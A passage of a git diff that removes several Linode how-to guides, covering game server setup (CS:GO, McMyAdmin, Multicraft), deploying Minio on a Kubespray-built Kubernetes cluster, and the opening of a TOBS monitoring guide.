users will need to enter to join the server. `rcon_password` is the [RCON](https://developer.valvesoftware.com/wiki/Source_RCON_Protocol) password, which is used to remotely control the game server from within the game. For an extensive list of `server.cfg` options, see [this page](http://csgodev.com/csgodev-server-cfg-for-csgo/). - -1. Create a startup script for CS:GO with the following snippet. Name the file `startcsgo.sh` and save it to your `steam` user's home directory. Set the value of the `YOUR_GSLT` variable at the top to be your game server login token. Set the value of the `CSGO_INSTALL_LOCATION` variable at the top according to the table below. - - {{< file "~/startcsgo.sh" >}} -#!/bin/sh - -YOUR_GSLT= -CSGO_INSTALL_LOCATION= - -cd $CSGO_INSTALL_LOCATION -screen -S "Counter-Strike: Global Offensive Server" ./srcds_run -game csgo -usercon +game_type 0 +game_mode 1 +mapgroup mg_bomb +map de_dust2 +sv_setsteamaccount $YOUR_GSLT -net_port_try 1 -{{< /file >}} - - | SteamCMD Installation Method | CSGO_INSTALL_LOCATION | - | ------------------- | ------------- | - | Package manager | `~/.steam/steamcmd/csgo-ds/` | - | Manual installation | `~/Steam/csgo-ds/` | - - When run, the script will execute a Dust2 server in competitive game mode in a [screen session](/cloud/guides/using-gnu-screen-to-manage-persistent-terminal-sessions/). For more startup modes and game options, see Valve's [CS:GO wiki](https://developer.valvesoftware.com/wiki/Counter-Strike:_Global_Offensive_Dedicated_Servers#Starting_the_Server). - -1. Make the script executable: - - chmod +x ~/startcsgo.sh - -## Start the Server - -1. Now that your server is installed and configured, it can be launched by running the `startcsgo.sh` script from your `steam` user's home directory. - - cd ~ && ./startcsgo.sh - -1. Review instructions for [detaching from or stopping SteamCMD](/cloud/guides/install-steamcmd-for-a-steam-game-server/#exit-steamcmd) to exit the CS:GO server. - -## Join the Game - -1. Launch Counter-Strike: Global Offensive. - -1. Once launched, go to **Play** and click **Browse Community Servers**. - -1. Click on the **Favorites** tab and then click **Add a Server** at the bottom. - -1. Type in the IP address of your Linode and click **Add this address to favorites**. - -1. You'll see your new Counter-Strike: Global Offensive server. Click **Connect** at the bottom right and start fragging away. - -## Game Settings - -### Game Modes and Types - -You can change the game type and mode options to start different types of servers: - - Mode game_mode game_type - Classic Casual 0 0 - Classic Competitive 0 1 - Arms Race 1 0 - Demolition 1 1 - -These settings are changed in the launch command. - -### RCON - -When logged into the server, you can open the RCON console with the backtick button (`` ` ``), or your mapped key. To log in type `rcon_password` followed by your password. For more information regarding RCON, click [here](/cloud/guides/team-fortress2-on-debian-and-ubuntu/#rcon). diff --git a/docs/guides/game-servers/minecraft-with-mcmyadmin-on-debian/index.md b/docs/guides/game-servers/minecraft-with-mcmyadmin-on-debian/index.md deleted file mode 100644 index 405b49d91ea..00000000000 --- a/docs/guides/game-servers/minecraft-with-mcmyadmin-on-debian/index.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -slug: minecraft-with-mcmyadmin-on-debian -title: Installing McMyAdmin for Minecraft on Debian -description: 'In this tutorial, you''ll learn how to install and configure an MCMyAdmin server on a Debian 7 or 8 Linode.' -authors: ["James Stewart"] -contributors: ["James Stewart"] -published: 2015-02-05 -modified: 2019-02-01 -keywords: ["minecraft", "mcmyadmin", "debian", "debian jessie", "debian wheezy", "jessie", "wheezy", "debian 7", "debian 8"] -tags: ["debian"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[McMyAdmin Home Page](https://mcmyadmin.com/)' -aliases: ['/game-servers/minecraft-with-mcmyadmin-on-debian/','/applications/game-servers/minecraft-with-mcmyadmin-on-debian/'] -dedicated_cpu_link: true ---- - -![Installing McMyAdmin for Minecraft on Debian](Installing_McMyAdmin_for_Minecraft_on_Debian_smg.png "Installing McMyAdmin for Minecraft on Debian") - -[McMyAdmin](https://mcmyadmin.com/) is one of the most popular Minecraft server control panels available. It boasts compatibility with third party mods, heavy focus on security and a sleek web interface for managing your server. This guide covers the installation and configuration of a new McMyAdmin server on a Linode running Debian 9. Be aware that to actually play on a Minecraft server you must also have the game client from [minecraft.net](https://minecraft.net/). - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. [Mono](http://www.mono-project.com/) is an open source implementation of the .NET framework. CubeCoders Limited, the company behind McMyAdmin, packages its own minimal installation of Mono with some necessary source and configuration files. This must be used instead of the generic Mono packages from Debian's repositories. - - cd /usr/local - apt-get install unzip - wget http://mcmyadmin.com/Downloads/etc.zip - unzip etc.zip; sudo rm etc.zip - -## Configure iptables - -1. Create the files `/tmp/v4` and `/tmp/v6`. Paste the following rulesets into the respective files. - - **IPv4** - - {{< file "/tmp/v4" >}} -*filter - -# Allow all loopback (lo0) traffic and reject traffic -# to localhost that does not originate from lo0. --A INPUT -i lo -j ACCEPT --A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT - -# Allow ping. --A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT - -# Allow SSH connections. --A INPUT -p tcp -m state --state NEW --dport 22 -j ACCEPT - -# Allow connections from other Minecraft players. --A INPUT -p tcp -m state --state NEW --dport 25565 -j ACCEPT - -# Allow web access to McMyAdmin. --A INPUT -p tcp -m state --state NEW --dport 8080 -j ACCEPT - -# Allow inbound traffic from established connections. -# This includes ICMP error returns. --A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT - -# Log what was incoming but denied (optional but useful). --A INPUT -m limit --limit 3/min -j LOG --log-prefix "iptables_INPUT_denied: " --log-level 7 - -# Reject all other inbound. --A INPUT -j REJECT --A FORWARD -j REJECT - -COMMIT -{{< /file >}} - - **IPv6** - - By default, both McMyAdmin and Minecraft operate on IPv4, but unlike a default Minecraft server installation, McMyAdmin does not listen for incoming IPv6 traffic. Since Minecraft can not use both protocols simultaneously, IPv4 is usually chosen over IPv6 because of its much greater availability, thus including players whose ISPs or hardware don't support IPv6. - - If you choose *not* to use IPv6 on your Minecraft server, then it needs only basic IPv6 firewall rules. - - {{< file "/tmp/v6" >}} -*filter - -# Allow all loopback (lo0) traffic and reject traffic -# to localhost that does not originate from lo0. --A INPUT -i lo -j ACCEPT --A INPUT ! -i lo -s ::1/128 -j REJECT - -# Allow ICMP --A INPUT -p icmpv6 -j ACCEPT - -# Allow inbound traffic from established connections. --A INPUT -m state --state ESTABLISHED -j ACCEPT - -# Reject all other inbound. --A INPUT -j REJECT --A FORWARD -j REJECT - -COMMIT -{{< /file >}} - -2. Import the rulesets into immediate use: - - sudo iptables-restore < /tmp/v4 - sudo ip6tables-restore < /tmp/v6 - -3. View the rules that you set: - - sudo iptables -L -nv - sudo ip6tables -L -nv - -4. To apply your iptables rules automatically on boot, see our section on configuring [iptables-persistent](/cloud/guides/control-network-traffic-with-iptables/#introduction-to-iptables-persistent). - -## Install Prerequisite Software - -2. Install the Java Runtime Environment, OpenJDK: - - sudo apt-get install openjdk-8-jre - -## Install and Start McMyAdmin - -This section should be completed as your standard user, **not** as root. McMyAdmin will then install to `/home/username`. - -1. Create the installation directory and change location to it. - - sudo mkdir ~/McMyAdmin && cd ~/McMyAdmin - -2. Download the McMyAdmin installer. You will want to double check its [Download](https://www.mcmyadmin.com/#/download) page to be sure you're grabbing the latest version. - - sudo wget http://mcmyadmin.com/Downloads/MCMA2_glibc26_2.zip - -3. Extract the archive and delete the original zip file. - - sudo unzip MCMA2_glibc26_2.zip - sudo rm MCMA2_glibc26_2.zip - -4. Start the initial configuration of McMyAdmin. Replace `PASSWORD` with a strong password which you want for admin access to McMyAdmin's web interface. - - ./MCMA2_Linux_x86_64 -setpass PASSWORD -configonly - - This will return the output: - - The updater will download and install McMyAdmin to the current directory: - /home/your_user/McMyAdmin). - - Continue? [y/n] : - - Answer `y`. The installer will run and return you to the command prompt. If everything is as it should be, the only warning you'll see will be for a missing configuration file. As the output says, that would be normal since McMyAdmin was just started for the first time. - -5. Change into the McMyAdmin installation directory and start the program. - - cd ~/McMyAdmin; ./MCMA2_Linux_x86_64 - - If successful, the last three lines of the output will be: - - Notice : McMyAdmin has started and is ready for use. - Notice : This is the first time McMyAdmin has been started. - Notice : You must complete the first-start wizard via the web interface. - - {{< note respectIndent=false >}} -To exit McMyAdmin and return to the command line, enter `/quit`. -{{< /note >}} - -## Managing your Minecraft Server - -1. Browse to the McMyAdmin web interface by visiting `http://YourLinodeIP:8080`. - -2. Log in with the username `admin` and the password that you provided in the installation step. - - ![McMyAdmin Login Page](mcmyadmin-login-page.png) - -3. Once the initial configuration steps are completed, select your settings and then switch to the status page. - - ![McMyAdmin Configuration Page](mcmyadmin-config-page.png) - -4. Select *Start Server* and accept the Minecraft Server EULA (End User Licensing Agreement). - - {{< note respectIndent=false >}} -If you are not prompted to accept the EULA in McMyAdmin, you can find the EULA at `~/McMyAdmin/Minecraft/eula.txt`. Change the value of `eula=false` to `eula=true`. -{{< /note >}} - - ![McMyAdmin Status Page](mymyadmin-status-page.png) - - ![McMyAdmin Server Started](mcmyadmin-server-running.png) - -Congratulations, you now have McMyAdmin running on your Minecraft server! diff --git a/docs/guides/game-servers/multicraft-on-ubuntu/index.md b/docs/guides/game-servers/multicraft-on-ubuntu/index.md deleted file mode 100644 index 564d0a3a3ea..00000000000 --- a/docs/guides/game-servers/multicraft-on-ubuntu/index.md +++ /dev/null @@ -1,177 +0,0 @@ ---- -slug: multicraft-on-ubuntu -title: "Installing Multicraft on Ubuntu" -description: "This guide shows how to install and configure MultiCraft, a control panel for single or multiple Minecraft servers, on a Linode running Ubuntu 20.04 LTS." -authors: ["Alex Fornuto"] -contributors: ["Alex Fornuto"] -published: 2015-02-04 -modified: 2021-12-30 -keywords: ["minecraft", "ubuntu", "multicraft"] -tags: ["ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Multicraft Documentation](http://www.multicraft.org/site/userguide?view=index)' - - '[Minecraft.net](https://minecraft.net/)' -image: Installing_Multicraft_on_Ubuntu_smg.jpg -aliases: ['/game-servers/multicraft-on-ubuntu/','/applications/game-servers/multicraft-on-ubuntu/'] -dedicated_cpu_link: true -relations: - platform: - key: how-to-install-multicraft - keywords: - - distribution: Ubuntu ---- - -[Multicraft](http://www.multicraft.org/) is a control panel for single or multiple Minecraft servers, with free and paid versions available. This guide provides information to install Multicraft on a Linode running Ubuntu 20.04 LTS. - -{{< note >}} -The steps required in this guide require root privileges. Be sure to run the steps as `root` or with the **sudo** prefix. For more information on privileges see our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Prerequisites - -Multicraft for Linux depends on several software packages in order to run. - -1. Update your system: - - sudo apt update && sudo apt upgrade - -1. Install LAMP server: - - sudo apt install tasksel - sudo tasksel install lamp-server - -1. Install PHP, SQLite, Java, and related packages: - - sudo apt install -y zip php-zip php php-sqlite3 php-gd default-jre - - -1. In configuration file of Apache, under the `` section, change the `AllowOverride` value to `all`. - - {{< file "/etc/apache2/apache2.conf" apache >}} - - Options Indexes FollowSymLinks - AllowOverride All - Require all granted - -{{< /file >}} - -1. Reload the Apache configuration: - - sudo service apache2 reload - -## Installing Multicraft - -1. Download the Multicraft installer: - - wget http://www.multicraft.org/download/linux64 -O multicraft.tar.gz - -1. Expand the installer: - - tar -xzf multicraft*.tar.gz - -1. Move to the `multicraft` directory: - - cd multicraft/ - -1. Execute the `setup.sh` script: - - ./setup.sh - -1. An interactive script that prompts you to configure several options runs. If you've purchased a license for Multicraft, enter it when prompted. If you're unsure of which options to choose, you can press `return` to select the default option, with a couple of exceptions: - - * Unless you're configuring a custom Apache virtual host for Multicraft, specify the location for the PHP frontend to `/var/www/html/multicraft`: - - Location of the PHP frontend: [/var/www/multicraft] /var/www/html/multicraft - - * Because of the insecure nature of FTP, Linode recommends that you **not** enable the builtin FTP server when prompted: - - Enable builtin FTP server? [y]/n n - - After the script finishes, you can begin configuring the Multicraft install. - -1. Make a copy the file configuration file and access to the `www-data` user. - - cp /var/www/html/multicraft/protected/config/config.php.dist /var/www/html/multicraft/protected/config/config.php then - chown www-data:www-data /var/www/html/multicraft/protected/config/config.php - -1. Enable the ports to access the server: - - sudo apt install ufw - ufw allow 80 - ufw allow 443 - ufw allow 22 - ufw enable - - After the ports are enabled, restart the server. - -## Configuring the Control Panel - -1. In your local web browser, navigate to `http://192.0.2.0/multicraft`, replacing `192.0.2.0` with your Linode's IP address or domain name. Click `Start Installation`: - - ![Multicraft Installer.](multicraft-init-1804.png) - -1. Multicraft checks the requirements. If you completed the steps above without issue, the following page appears: - - ![Multicraft Requirements Check.](multicraft-reqs-2004.png) - - Click `Continue`. - -1. Multicraft checks for the `config.php` file and if it is writeable. If successful, click `Continue`: - - ![Multicraft Configuration File Transfer.](multicraft-config-2004.png) - -1. On the next page, click `Initialize Database`. - - ![Multicraft Database Initialization.](multicraft-db-initialize-1804.png) - -1. Afterward the database is initialized, click `Continue`: - - ![Multicraft Database Creation.](multicraft-db-1804.png) - -1. The next page attempts to connect to the panel database. You should see the message `Connection successful`. You can now click on the `Login` button and sign in with the default username and password as **admin**. - - ![Multicraft Panel Database Connection.](multicraft-panel-1804.png) - -1. After logging in you are directed back to the previous page, where you can now click `Continue`. The next page allows you to configure the basic settings. When done, click `Save`. - -1. On the daemon configuration page, a start command to initiate the Multicraft Daemon appears. Copy the command into your terminal: - - /home/minecraft/multicraft/bin/multicraft -v start - Multicraft 2.4.1 - Minecraft Server Manager Daemon - Loading configuration from /home/minecraft/multicraft/multicraft.conf - Starting daemon - !! You are using the default daemon password. - !! Please change the "password" setting in the "multicraft.conf" as well as the "daemon_password" setting in the "protected/config/config.php" of the panel - -1. Back in the browser, click `Refresh`. You should see the daemon in the detected daemons list. Click `Continue`: - - ![Multicraft Daemon Configuration.](multicraft-daemon-1804.png) - -1. Your configuration of the Multicraft control panel is now complete. As per the instructions on the page, delete the `install.php` file from your terminal: - - rm /var/www/html/multicraft/install.php - -## Install Minecraft - -1. Navigate to the directory where Multicraft stores `jar` files. If you used the default options, it is `/home/minecraft/multicraft/jar/`: - - cd /home/minecraft/multicraft/jar/ - -1. Download the latest version of the Minecraft server from the Minecraft [Download](https://minecraft.net/download) page: - - wget https://launcher.mojang.com/v1/objects/0a269b5f2c5b93b1712d0f5dc43b6182b9ab254e/server.jar - -Version 1.17 (minecraft_server.1.17.jar) is downloaded. - -1. In your local web browser, navigate to `http://192.0.2.0/multicraft/`, replacing `192.0.2.0` with your Linode's IP address or domain name. Click `Servers`. - -1. At this time you must accept the Multicraft EULA. A pop-up window appears. By clicking Close you are indicating your agreement to the EULA here: `http://www.multicraft.org/eula.txt`. Click Close. - - ![Multicraft EULA.](multicraft-eula-popup.png) - -1. Click `Create Server`. Fill in the options as you see fit, but be sure to add `server.jar` (or the version that you downloaded) in the `JAR File` field: - - ![Multicraft Server Settings.](multicraft-server-settings-1804.png) - - You can now successfully start and manage your Minecraft server through Multicraft! For more information, see the [Connect to your Minecraft Server](/cloud/guides/how-to-set-up-minecraft-server-on-ubuntu-or-debian/#connect-to-your-minecraft-server) section on the [How to Set Up a Minecraft Server on Ubuntu or Debian](/cloud/guides/how-to-set-up-minecraft-server-on-ubuntu-or-debian) guide. diff --git a/docs/guides/kubernetes/deploy-minio-on-kubernetes-using-kubespray-and-ansible/index.md b/docs/guides/kubernetes/deploy-minio-on-kubernetes-using-kubespray-and-ansible/index.md deleted file mode 100644 index 3314919eccc..00000000000 --- a/docs/guides/kubernetes/deploy-minio-on-kubernetes-using-kubespray-and-ansible/index.md +++ /dev/null @@ -1,416 +0,0 @@ ---- -slug: deploy-minio-on-kubernetes-using-kubespray-and-ansible -title: 'Deploy Minio on Kubernetes using Kubespray and Ansible' -description: 'Learn how to use a combination of Kubespray and Ansible to provision a cluster and deploy Minio as a private cloud storage.' -authors: ["Sam Foo"] -contributors: ["Sam Foo"] -published: 2018-02-23 -keywords: ['ansible', 'kubernetes', 'cluster', 's3', 'aws'] -tags: ["python","kubernetes","automation"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/containers/deploy-minio-on-kubernetes-using-kubespray-and-ansible/','/kubernetes/deploy-minio-on-kubernetes-using-kubespray-and-ansible/','/applications/containers/kubernetes/deploy-minio-on-kubernetes-using-kubespray-and-ansible/'] -concentrations: ["Kubernetes"] -external_resources: -- '[Kubernetes](https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/)' -- '[Minio](https://www.minio.io/)' -- '[Kubespray](https://github.com/kubernetes-incubator/kubespray)' ---- - -![Header image](Deploy_Minio.jpg "Deploy Minio on Kubernetes using Kubespray and Ansible") - -## What is Minio? - -Minio is an open source, Amazon S3-compatible object store that can be hosted on a Linode. Deployment on a Kubernetes cluster is supported in both standalone and distributed modes. This guide uses [Kubespray](https://github.com/kubernetes-incubator/kubespray) to deploy a Kubernetes cluster on three servers running Ubuntu 16.04. Kubespray comes packaged with Ansible playbooks that simplify setup on the cluster. Minio is then installed in standalone mode on the cluster to demonstrate how to create a service. - -## Before You Begin - -1. For demonstration purposes, this guide installs `etcd` and the Kubernetes master on the same node. High availability clusters will require a different configuration, which is beyond the scope of this guide. - -1. Each Linode to be used in the cluster should have a user with sudo privileges. - -1. A cluster can be simulated locally using [Minikube](https://github.com/kubernetes/minikube) to get comfortable with Kubernetes clusters. - -1. The IP addresses of each node in the cluster and their roles will be represented as `kubernetes-master-ip`, `etcd-ip`, and `slave-ip` - -{{< note >}} -If you do not want to install Ansible and other software locally, consider using another Linode as a jumpbox that will be used to connect with the master node. -{{< /note >}} - -## Install Ansible - -1. Update if needed. - - ```command - sudo apt-get update - sudo apt-get install software-properties-common - ``` - -1. Add the Ansible PPA; press enter when prompted. - - ```command - sudo apt-add-repository ppa:ansible/ansible - ``` - - ```output - Ansible is a simple IT automation platform that makes your applications and systems easier to deploy. Avoid writing scripts or custom code to deploy and update your applications— automate in a language that approaches plain English, using SSH, with no agents to install on remote systems. - - http://ansible.com/ - More info: https://launchpad.net/~ansible/+archive/ubuntu/ansible - Press [ENTER] to continue or ctrl-c to cancel adding it - - gpg: keyring `/tmp/tmp81pkp_0b/secring.gpg' created - gpg: keyring `/tmp/tmp81pkp_0b/pubring.gpg' created - gpg: requesting key 7BB9C367 from hkp server keyserver.ubuntu.com - gpg: /tmp/tmp81pkp_0b/trustdb.gpg: trustdb created - gpg: key 7BB9C367: public key "Launchpad PPA for Ansible, Inc." imported - gpg: Total number processed: 1 - gpg: imported: 1 (RSA: 1) - OK - ``` - -1. Update again then install Ansible. - - ```command - sudo apt-get update - sudo apt-get install ansible - ``` - -### Additional Installation - -Kubespray exists as a Git repository and requires `python-netaddr` for network address manipulation. - -1. Install Git: - - ```command - sudo apt install git - ``` - -1. Install `python-netaddr`: - - ```command - sudo apt install python-netaddr - ``` - -## Modify Kubespray Configurations - -Kubespray comes with several configuration options not shown in this guide. Refer to the [documentation](https://kubespray.io/documents/) for more information on topics such as networking with Flannel, Helm installation, and large scale deployments. - -1. Clone the Kubespray repository from Github then navigate into the repository. - - ```command - git clone https://github.com/kubernetes-incubator/kubespray.git - cd kubespray - ``` - -1. Check out a tag for the desired version of Kubespray. This guide is written for version 2.4.0. - - ```command - git checkout -b tag/v.2.4.0 - ``` - -1. Modify `~/kubespray/ansible.cfg` to run Ansible playbooks on hosts as a given user. Replace `username` with your Unix account username in `remote_user=username` under `[defaults]`. - - ```file {title="~/kubespray/ansible.cfg" lang=cfg} - [ssh_connection] - pipelining=True - ssh_args = -o ControlMaster=auto -o ControlPersist=30m -o ConnectionAttempts=100 -o UserKnownHostsFile=/dev/null - #control_path = ~/.ssh/ansible-%%r@%%h:%%p - [defaults] - host_key_checking=False - gathering = smart - fact_caching = jsonfile - fact_caching_connection = /tmp - stdout_callback = skippy - library = ./library - callback_whitelist = profile_tasks - roles_path = roles:$VIRTUAL_ENV/usr/local/share/kubespray/roles:$VIRTUAL_ENV/usr/local/share/ansible/roles:/usr/share/kubespray/roles - deprecation_warnings=False - remote_user=username - ``` - -1. Copy the example inventory directory and rename it: - - ```command - cp -r inventory/sample inventory/minio - ``` - -1. Use Kubespray's inventory generator to build an inventory of hosts for Ansible. Declare the list of IP addresses for each Linode. - - ```command - declare -a IPS=(kubernetes-master-ip etcd-ip slave-ip) - CONFIG_FILE=inventory/minio/hosts.ini python3 contrib/inventory_builder/inventory.py ${IPS[@]} - ``` - - {{< note >}} - Do not use hostnames when declaring `$IPS`. Only IP addresses are supported by the inventory generator at this time. - {{< /note >}} - -1. Example configuration for the cluster in this guide. - - ```file {title="~/kubespray/inventory/minio/hosts.ini" lang=ini} - [all] - node1 ansible_host=kubernetes-master-ip ip=kubernetes-master-ip - node2 ansible_host=etcd-ip ip=etcd-ip - node3 ansible_host=slave-ip ip=slave-ip - - [kube-master] - node1 - - [kube-node] - node2 - node3 - - [etcd] - node1 - - [k8s-cluster:children] - kube-node - kube-master - - [calico-rr] - - [vault] - node1 - node2 - node3 - ``` - -1. Uncomment the line `docker_dns_servers_strict: false` in `~/kubernetes/inventory/minio/group_vars/all.yml` - -## Prepare Hosts for Ansible -Before Ansible can properly run Kubespray's playbooks, the hosts must have a passwordless sudo user enabled, and swap disabled for Kubernetes. Make sure the specified user exists on each Linode prior to starting these steps. This section shows how to copy SSH keys to each Linode and modify the sudoers file over SSH. - -1. Create a private key if you **do not** have one: - - ```command - ssh-keygen -b 4096 - ``` - -1. Copy your SSH key to each IP listed in the inventory using the `$IPS` variable declared earlier and replace `username` with the username for each of the hosts. - - ```command - for IP in ${IPS[@]}; do ssh-copy-id username@$IP; done - ``` - -### Create Passwordless Sudo on Nodes - -Below is a loop that adds the line `username ALL=(ALL:ALL) NOPASSWD: ALL` to the last line of the sudoers file. You will be prompted for the password for each server. - -```command -for IP in ${IPS[@]}; do ssh -t username@$IP "echo 'username ALL=(ALL:ALL) NOPASSWD: ALL' | sudo EDITOR='tee -a' visudo"; done -``` - -### Disable swap - -Add this snippet below at the end of `~/kubespray/roles/bootstrap-os/tasks/main.yml` to disable swap using Ansible. - -```file {title="~/kubespray/roles/bootstrap-os/tasks/main.yml" lang=yaml} -- name: Remove swapfile from /etc/fstab - mount: - name: swap - fstype: swap - state: absent - -- name: Disable swap - command: swapoff -a -``` - -## Run Ansible Playbook - -Before running the Ansible playbook, make sure firewalls are turned off to avoid unexpected errors. - -Run the `cluster.yml` Ansible playbook. If your private key is named differently or located elsewhere, add `--private-key=/path/to/id_rsa` to the end. - -```command -ansible-playbook -i inventory/minio/hosts.ini cluster.yml -b -v -``` - -{{< note >}} -This could take up to 20 minutes. -{{< /note >}} - -### Add or Remove Nodes - -1. Navigate into `~/kubespray/inventory/minio/hosts.ini` and add the IP address of the new node. - -1. Run ssh-copy-id to copy your SSH key to the new node: - - ```command - ssh-copy-id username@new-node-ip - ``` - -1. Run the `scale.yml` Ansible playbook: - - ```command - ansible-playbook -i inventory/minio/hosts.ini scale.yml -b -v - ``` - -1. SSH into the Kubernetes master node to list all the available nodes: - - ```command - kubectl get nodes - ``` - -1. To remove a node, simply turn off the server and clean up on the master node with: - - ```command - kubectl delete node - ``` - -## Minio on Kubernetes - -The commands in this section should be executed from the `kubernetes-master` Linode. - -### Create a Persistent Volume - -Persistent Volumes(PV) are an abstraction in Kubernetes that represents a unit of storage provisioned in the cluster. A `PersistentVolumeClaim`(PVC) will allow a Pod to consume the storage set aside by a PV. This section creates a PV of 15Gi ([gibibytes](https://en.wikipedia.org/wiki/Binary_prefix)) then allow Minio to claim 10Gi of space. - -1. On the Kubernetes master node, create a file called `minio-volume.yaml` with the following YAML below. Replace `username` on the `hostPath` with the appropriate path. - - ```file {title="minio-volume.yaml" lang=yaml} - kind: PersistentVolume - apiVersion: v1 - metadata: - name: minio-pv-volume - labels: - type: local - spec: - storageClassName: manual - capacity: - storage: 15Gi - accessModes: - - ReadWriteOnce - hostPath: - path: "/home/username" - ``` - -1. Create the PV: - - ```command - kubectl create -f minio-volume.yaml - ``` - -1. Create a PVC with `minio-pvc.yaml`: - - ```file {title="minio-pvc.yaml" lang=yaml} - apiVersion: v1 - kind: PersistentVolumeClaim - metadata: - name: minio-pv-claim - labels: - app: minio-storage-claim - spec: - storageClassName: manual - accessModes: - - ReadWriteOnce - resources: - requests: - storage: 10Gi - ``` - -1. Create the PVC: - - ```command - kubectl create -f minio-pvc.yaml - ``` - -### Create a Deployment - -1. Create a Deployment configuration in `minio-deployment.yaml` and substitute `username` on the last line. The access and secret key are in the YAML file. - - ```file {title="minio-deployment.yaml" lang=yaml} - apiVersion: apps/v1 # for k8s versions before 1.9.0 use apps/v1beta2 and before 1.8.0 use extensions/v1beta1 - kind: Deployment - metadata: - # This name uniquely identifies the Deployment - name: minio-deployment - spec: - selector: - matchLabels: - app: minio - strategy: - type: Recreate - template: - metadata: - labels: - # Label is used as selector in the service. - app: minio - spec: - # Refer to the PVC created earlier - volumes: - - name: storage - persistentVolumeClaim: - # Name of the PVC created earlier - claimName: minio-pv-claim - containers: - - name: minio - # Pulls the default Minio image from Docker Hub - image: minio/minio:latest - args: - - server - - /storage - env: - # Minio access key and secret key - - name: MINIO_ACCESS_KEY - value: "minio" - - name: MINIO_SECRET_KEY - value: "minio123" - ports: - - containerPort: 9000 - hostPort: 9000 - # Mount the volume into the pod - volumeMounts: - - name: storage # must match the volume name, above - mountPath: "/home/username" - ``` - -1. Create the Deployment. - - ```command - kubectl create -f minio-deployment.yaml - ``` - -### Create a Service - -1. Create a file for the service called `minio-service.yaml` - - ```file {title="minio-service.yaml" lang=yaml} - apiVersion: v1 - kind: Service - metadata: - name: minio-service - spec: - type: LoadBalancer - ports: - - port: 9000 - targetPort: 9000 - protocol: TCP - selector: - app: minio - ``` - -1. Deploy the Minio service: - - ```command - kubectl create -f minio-service.yaml - ``` - -1. See a list of running services. Under the column `PORT(S)`, you can see that the Minio service is running internally on port 9000, with 30593 exposed externally by the LoadBalancer. - - ```command - kubectl get services - ``` - - ```output - NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE - kubernetes ClusterIP 10.233.0.1 443/TCP 1d - minio-service LoadBalancer 10.233.28.163 9000:30593/TCP 20m - ``` - -1. In a browser, navigate to the public IP address of any of the Linodes in the cluster, at the exposed port (30593 in the example above): - - ![Minio Login Screen](minio-login-screen.png) - -1. Minio has similar functionality to Amazon S3: file uploads, creating buckets, and storing other data. - - ![Minio Browser](minio-browser.png) \ No newline at end of file diff --git a/docs/guides/kubernetes/deploy-tobs-on-linode-kubernetes-engine/index.md b/docs/guides/kubernetes/deploy-tobs-on-linode-kubernetes-engine/index.md deleted file mode 100644 index dcc13f7ac03..00000000000 --- a/docs/guides/kubernetes/deploy-tobs-on-linode-kubernetes-engine/index.md +++ /dev/null @@ -1,191 +0,0 @@ ---- -slug: deploy-tobs-on-linode-kubernetes-engine -title: "Deploying TOBS (The Observability Stack) on LKE" -title_meta: "How to Deploy TOBS (The Observability Stack) on LKE" -description: 'Learn how to quickly deploy TOBS (The Observability Stack), which includes Prometheus and Grafana, on Linode Kubernetes Engine.' -og_description: 'Great monitoring means fast issue resolution. Learn how to quickly deploy TOBS (The Observability Stack) on Linode Kubernetes Engine' -authors: ["Rajakavitha Kodhandapani"] -contributors: ["Rajakavitha Kodhandapani"] -published: 2022-08-04 -modified: 2023-01-31 -keywords: ['kubernetes', 'lke', 'prometheus', 'grafana', 'timescaledb', 'opentelemetry', 'metrics', 'traces'] -tags: ["monitoring","kubernetes","container", "observability"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[TOBS Helm Chart on Github](https://github.com/timescale/tobs/tree/master/chart): Useful for reviewing configuration parameters and troubleshooting.' -- '[Prometheus Documentation](https://prometheus.io/docs/introduction/overview/)' -- '[Alertmanager Documentation](https://prometheus.io/docs/alerting/latest/alertmanager/)' -- '[Grafana Tutorials](https://grafana.com/tutorials/)' -- '[TimescaleDB Documentation](https://docs.timescale.com/)' -aliases: ['/kubernetes/deploy-tobs-on-linode-kubernetes-engine/'] ---- - -[TOBS](https://github.com/timescale/tobs), short for The Observability Stack, is a pre-packaged distribution of monitoring tools and dashboard interfaces. It can be installed on any existing Kubernetes cluster. It includes many of the most popular open-source observability tools such as Prometheus, Grafana, Promlens, TimescaleDB, and others. Together, these provide a maintainable solution to analyze the traffic on the server and identify any potential problems with a deployment. This guide covers deploying TOBS on [LKE](https://www.linode.com/products/kubernetes/) (Linode Kubernetes Engine) using [Helm](https://helm.sh/) and the [kubectl port-forward](https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#port-forward) command for local access to your monitoring interfaces. - -TOBS includes the following components: - -- [OpenTelemetry collector](https://opentelemetry.io/docs/collector/) is deployed to collect traces. -- Alertmanager, is deployed alongside Prometheus, forms the alerting layer of the stack, and handles alerts generated by Prometheus. -- [Grafana](https://grafana.com/oss/grafana/) is a data visualization and analytics tool that allows you to build dashboards and graphs for your metrics data. -- [PromLens](https://promlens.com/) helps users build PromQL queries with ease. PromLens is a PromQL query builder that helps you build, understand, and fix your queries much more effectively. -- [TimescaleDB](https://www.timescale.com/) is for long-term storage of metric data. Long-term storage provides the ability to perform post-hoc analysis on metric data over long periods of time. Such data analysis can be used for capacity planning, identifying slow-moving regressions, trend analysis, auditing, and more. For information about connecting to the database from the cluster, see [TimescaleDB Documentation](https://docs.timescale.com/install/latest/installation-kubernetes/#create-a-database) -- [Promscale](https://docs.timescale.com/promscale/latest/about-promscale/) provides the translation layer between 